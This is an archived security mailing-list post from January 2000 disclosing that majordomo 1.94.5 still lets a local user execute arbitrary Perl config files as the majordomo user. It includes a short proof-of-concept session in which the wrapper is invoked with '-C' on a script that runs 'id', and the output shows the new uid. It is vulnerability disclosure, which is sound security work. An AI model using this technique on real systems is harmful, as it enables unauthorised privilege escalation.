majordomo 1.94.5 does not fix all vulnerabilities

Subject: majordomo 1.94.5 does not fix all vulnerabilities
From: Brock Sides (bsidesTOWERY.COM)
Date: Mon Jan 24 2000 - 14:55:42 CST

• Next message: Aleph One: "Security Bulletins Digest"
• Previous message: Theo de Raadt: "Re: usual iploggers miss some variable stealth scans"
• Next in thread: Chan Wilson: "Re: majordomo 1.94.5 does not fix all vulnerabilities"
• Reply: Chan Wilson: "Re: majordomo 1.94.5 does not fix all vulnerabilities"
• Reply: Dave Barr: "Re: majordomo 1.94.5 does not fix all vulnerabilities"
• Reply: Olaf Kirch: "Re: majordomo 1.94.5 does not fix all vulnerabilities"
• Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

Whereas majordomo 1.94.5 does fix the bug in resend, discovered by Brock
Tellier, that permits execution of arbitrary code as user majordomo, it
apparently does not fix the other bug in the script majordomo, that
permits execution of arbitrary config files as user majordomo:

On a fresh install of majordomo 1.94.5 in /tmp:

[brocko2 /tmp]$ id
uid=1116(brock) gid=1116(brock)
[brocko2 /tmp]$ ls -l ./id.pl
-rwxr-xr-x 1 brock brock 31 Jan 24 14:17 ./id.pl
[brocko2 /tmp]$ cat id.pl
#!/usr/bin/perl

system("id");
[brocko2 /tmp]$ ./majordomo-1.94.5/wrapper majordomo -C ./id.pl
uid=1126(majordomo) gid=1(daemon)
./id.pl did not return a true value at /tmp/majordomo-1.94.5/majordomo
line 47.
[brocko2 /tmp]$

--
Brock Sides
Unix Systems Administration
Towery Publishing
bsidestowery.com

• Next message: Aleph One: "Security Bulletins Digest"
• Previous message: Theo de Raadt: "Re: usual iploggers miss some variable stealth scans"
• Next in thread: Chan Wilson: "Re: majordomo 1.94.5 does not fix all vulnerabilities"
• Reply: Chan Wilson: "Re: majordomo 1.94.5 does not fix all vulnerabilities"
• Reply: Dave Barr: "Re: majordomo 1.94.5 does not fix all vulnerabilities"
• Reply: Olaf Kirch: "Re: majordomo 1.94.5 does not fix all vulnerabilities"
• Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

This archive was generated by hypermail 2b27 : Mon Jan 24 2000 - 20:05:26 CST